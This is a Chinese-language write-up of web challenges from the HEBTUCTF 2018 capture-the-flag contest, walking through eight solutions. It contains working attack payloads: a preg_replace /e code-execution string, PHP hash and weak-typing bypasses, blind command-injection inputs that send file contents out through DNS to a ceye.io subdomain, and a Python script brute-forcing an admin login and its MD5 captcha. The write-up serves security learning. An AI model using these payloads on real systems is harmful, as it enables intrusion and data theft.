title: HEBTUCTF2018-WEB-WP
date: 2018-11-18 18:00:13
tags: [Writeup,ctf]
HEBTUCTF
web1-qiandao
打开题目链接就直接有flag
hi,欢迎来到河北师范大学信息安全挑战赛
本题,将告诉你如何正确提交答案。
本题的答案为:flag{welcome_to_HEBTU}
请将以上答案提交至参赛平台,即视为答对本题。
web2-qiandao2
题述:签到爽不爽?开不开心,拿分数拿的happy不happy。 http://47.94.129.246:2132/qiandao2/ 来吧,再签一个。
打开题随便提交一串字符,发现弹出个框
mark让提交HEBTUCTF2018
,所以我们现在提交这个会发现前端做了限制,输入的最大长度为10,然而HEBTUCTF2018为12个字符,直接修改前端js,然后提交HEBTUCTF2018
,拿到flag
HEBTUCTF{Qi4n_Da0_cH3n9_g0n9}
web3-2048_easy
题述:小火汁,听说你打游戏超厉害,你玩到10240分我就给你flag http://47.94.129.246:2132/2048/2048.html p.s. 答案格式 flag{.+}
打开题目链接是个2048的游戏,我们看一下源码,发现加载了很多js,我们看一下这些js,发现在main2048.js里面发现赢了的话会调用一个gamewin()的函数,gamewin()函数如下
function gamewin(){
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
}
这个是aaencode加密,我们解密得到两个flag
alert('flag{2O48_1s_fun}');
console.log('HEBTUCTF{Aaenc0de_1s_FuN}');
233333这两个分别是两个题的flag,第一个是这个题的flag,第二个是2048_brain_hole的flag
flag{2O48_1s_fun}
这个题也可以直接在控制台调用gamewin()
函数,然后可以弹出flag{2O48_1s_fun},然后控制台打印HEBTUCTF{Aaenc0de_1s_FuN}
然后,其实这个题还有一种拿到flag的方法,main2048.js里面有如下代码
function isgamewin(){
if(score>10240) {
gamewin();
swal({
title: '恭喜你,成功通关',
text: '2秒后自动关闭',
timer: 2000
})
}
}
我们可以在控制台执行score=10241
也可以拿到flag(只要那个数比10240大就行)
web4-2048_brain_hole
题述:啥,你玩到10240分了?那你也拿不到我这道题的分数。 http://47.94.129.246:2132/2048/2048.html p.s. 答案格式 HEBTUCTF{.+}
和web3是同一个题,提交第二个flag就可以了23333
web5-简单的命令执行
题述:来吧,相信你可以的。 http://47.94.129.246:2280/
打开题目链接之后如下
<?php
/*please add HEBTU{} when you found the secret string*/
highlight_file(__FILE__);
error_reporting(0);
echo preg_replace("/123(.+?)123/ies", 'text("\\1")', $_POST['h']);
function text($str)
{
echo '123';
}
?>
看到这里我们我们可以知道他考的是 preg_replace /e模式下的代码执行问题,可以参考下面的一个文章
然后这个题post过去h=123{${phpinfo()}}123可以成功读取phpinfo界面,现在我们命令执行列目录然后读文件拿到flag,好吧,这个题直接列目录出来的就flag
markHEBTU{pr3g_repl@ce_Fun!}
web6-phpisbest
<?php
show_source(__FILE__);
@include_once 'flag.php';
// 前端攻城狮跑路了,不过PHP是最好的语言
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if ($a != $b && sha1($a)===sha1($b)) {
$good = true;
}
else die('bypass');
if ($good && isset($_GET['key'])){
$message = json_decode(stripslashes($_GET['key']));
if ($message->key==$key) {
echo $flag;
}
else die('还差一点就拿到flag了');
}
?>
这个题我们要传过去三个参数,首先我们要绕过第一个限制$a != $b && sha1($a)===sha1($b)
,这里利用sha1()函数的漏洞。把这两个字段构造成数组,如a[]=q&b[]=w
,这样在第一处判断是两数组确实是不同的,但在第二处判断是由于sha1()函数无法处理数组类型,将报错并返回false,if条件成立,绕过第一个限制
if ($a != $b && sha1($a)===sha1($b)) {
$good = true;
}
现在绕第二个限制。传过去的key先删除反斜杠然后再对JSON格式的字符串进行编码,转换为PHP变量,然后赋给$message
。然后 $message->key==$key
利用php弱类型去绕过。
if ($good && isset($_GET['key'])){
$message = json_decode(stripslashes($_GET['key']));
if ($message->key==$key) {
echo $flag;
}
else die('还差一点就拿到flag了');
}
最后payload如下http://47.94.129.246:2132/phpisbest/?a[]=1&b[]=2&key={"key":0}
HEBTUCTF{PhP_1s_7he_beSt_L4an9uage}
web7-ping
题述:小x同学找到了一个大黑阔的工具,这个工具你会使用么? http://47.94.129.246:2180/
这个题测试几个ip会知道没有回显,emmm盲打,由于我服务器停了,所以我用的ceye(每个用户,有唯一标识符代码和唯一子域值)做的,来吧,开始命令执行,直接ls会有问题,然后用sed命令逐行处理文件,然后payload如下
ip=`ls|sed -n "1p"`.ip.port.标识符.ceye.io
mark
知道flag在flaaaaag.php文件中,然后去cat他(直接cat不行,我们还是用sed命令逐行处理文件),post过去的payload如下
ip=`cat flaaaaag.php | sed -n "2p"`.ip.port.标识符.ceye.io
mark
最后拿到flag
HEBTUCTF{Bl1Nd_RC3_1s_h4rD}
web8-baopo
题述:小x同学找到了HEBTU的后台管理,可是他登录不上去,你可以帮帮他么?
http://47.94.129.246:2132/baopo
p.s. 答案格式 HEBTUCTF{.+}
打开链接是个后台管理系统,看一下源码里面有个hint:``,那爆破没跑了,不过还有个md5的验证码
mark# -*- coding: utf-8 -*-
import requests
import re
import hashlib
from bs4 import BeautifulSoup
#header,抓一个包
headers={
'Host':'47.94.129.246:2132',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Referer':'http://47.94.129.246:2132/baopo/',
'Connection':'keep-alive',
'Cookie':'PHPSESSID=gdrequp9nir7khu8d9ja4e36t5',
'Upgrade-Insecure-Requests':'1'
}
for mima in range(999):
#获取页面验证码
url="http://47.94.129.246:2132/baopo/"
req=requests.get(url=url,headers=headers)
soup=BeautifulSoup(req.text,'html.parser')
yzm=re.findall('[0-9a-f]{5}',soup.text)[0]
#print yzm
#验证码爆破
for yzm_bp in range(100000):
if hashlib.md5(str(yzm_bp)).hexdigest()[0:5]==yzm:
#print yzm_bp
break
url='http://47.94.129.246:2132/baopo/index.php?username=admin&password={0}&randcode={1}'.format(mima,yzm_bp)
request=requests.get(url=url,headers=headers)
request.encoding='utf-8'
#print request.text
#print mima
if "HEBTUCTF" in request.text:
print request.text
break
mark
跑脚本拿到密码flag
HEBTUCTF{Bru7e_f0rC3_233}
网友评论